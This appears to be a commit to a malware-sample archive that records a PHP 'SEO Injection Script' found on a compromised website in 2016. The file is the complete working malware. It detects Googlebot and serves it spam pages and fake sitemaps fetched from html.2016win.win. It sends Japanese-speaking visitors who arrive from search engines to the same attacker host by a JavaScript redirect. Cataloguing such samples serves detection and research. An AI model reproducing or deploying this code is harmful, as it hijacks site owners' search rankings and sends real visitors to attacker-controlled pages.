1+ <!--
2+ Detected: 2016.11.02 on southeastconnection.ca
3+ Description: SEO Injection Script
4+ -->
5+
6+ <!-- Original Code -->
7+ <?php
8+ if (!function_exists ("stripos " ))
9+ {
10+ function stripos ($ str ,$ needle ,$ offset =0 )
11+ {
12+ return strpos (strtolower ($ str ),strtolower ($ needle ),$ offset );
13+ }
14+ }
15+ $ isoldpage =isoldpage ();
16+ $ uy = $ _SERVER ['HTTP_HOST ' ].$ _SERVER ['REQUEST_URI ' ] ;
17+ $ u = explode ('?ja- ' ,$ uy );
18+ $ isBot = isGoogleBot ();
19+ $ isJa = isJaBrower ();
20+ $ referer = $ _SERVER ['HTTP_REFERER ' ];
21+ if (trim ($ _SERVER ['QUERY_STRING ' ])=="sitemap.xml " ){
22+ $ url = "http://html.2016win.win/v1/siteurls.php? " .$ u [0 ];
23+ ob_start ();
24+ $ url_str = GetFileContent ($ url );
25+ $ contents =ob_get_contents ();
26+ ob_end_clean ();
27+ $ arrayUrls = explode ("| " ,$ url_str );
28+ $ dom =new DomDocument ('1.0 ' , 'utf-8 ' );
29+ $ urlset = $ dom ->createElement ('urlset ' );
30+ $ dom ->appendChild ($ urlset );
31+ $ xmlns = $ dom ->createAttribute ("xmlns " );
32+ $ urlset ->appendChild ($ xmlns );
33+ $ xmlnsvalue = $ dom ->createTextNode ("http://www.sitemaps.org/schemas/sitemap/0.9 " );
34+ $ xmlns ->appendChild ($ xmlnsvalue );
35+ foreach ($ arrayUrls as $ k =>$ v ){
36+ $ url = $ dom ->createElement ("url " );
37+ $ urlset ->appendChild ($ url );
38+ $ loc = $ dom ->createElement ("loc " );
39+ $ url ->appendChild ($ loc );
40+ $ text = $ dom ->createTextNode ($ v );
41+ $ loc ->appendChild ($ text );
42+ }
43+ header ("Content-type:text/xml; charset=utf-8 " );
44+ echo $ dom ->saveXML ();
45+ exit ;
46+ }
47+ if ($ isBot ){
48+ if (!$ isoldpage ){
49+ $ queryid =$ _SERVER ['QUERY_STRING ' ];
50+ $ str = GetFileContent ("http://html.2016win.win/v1/proxy2.php? " .$ u [1 ]."| " .$ _SERVER ['HTTP_HOST ' ]);
51+ echo $ str ;
52+ exit ;
53+ }else {
54+ $ str =GetFileContent ("http://html.2016win.win/v1/proxy.php? " .$ u [0 ]);
55+ echo $ str ;
56+ exit ;
57+ }
58+ }else if (isSpider ($ referer ) && $ isJa ){
59+ echo '<script>document.location=("http://html.2016win.win/ny1.php? ' .$ uy .'");</script> ' ;
60+ exit ;
61+ }
62+ function isGoogleBot (){
63+ if (stripos ($ _SERVER ["HTTP_USER_AGENT " ], "Googlebot " ) !== false ) return true ;
64+ else return false ;
65+ }
66+
67+ function isJaBrower (){
68+ if (strpos (strtolower ($ _SERVER ['HTTP_ACCEPT_LANGUAGE ' ]), "ja " ) !== false ) return true ;
69+ else return false ;
70+ }
71+
72+ function isSpider ($ referer ){
73+ if (strpos (strtolower ($ referer ), "google " ) !== false || strpos (strtolower ($ referer ), "yahoo " ) !== false ) return true ;
74+ else return false ;
75+ }
76+
77+ function isoldpage (){
78+ if (strpos ($ _SERVER ['HTTP_HOST ' ].$ _SERVER ['REQUEST_URI ' ],'?ja- ' ) !== false ) return false ;
79+ else return true ;
80+ }
81+ function GetFileContent ($ url ){
82+ $ ch = curl_init ();
83+ $ timeout = 30 ;
84+ curl_setopt ($ ch , CURLOPT_URL , $ url );
85+ curl_setopt ($ ch , CURLOPT_RETURNTRANSFER , 1 );
86+ curl_setopt ($ ch , CURLOPT_CONNECTTIMEOUT , $ timeout );
87+ $ file_contents = curl_exec ($ ch );
88+ curl_close ($ ch );
89+ return $ file_contents ;
90+ }
91+ ?>
92+
93+ <!-- Unminified/compressed code -->
94+ <?php // Unneccessary ?>
0 commit comments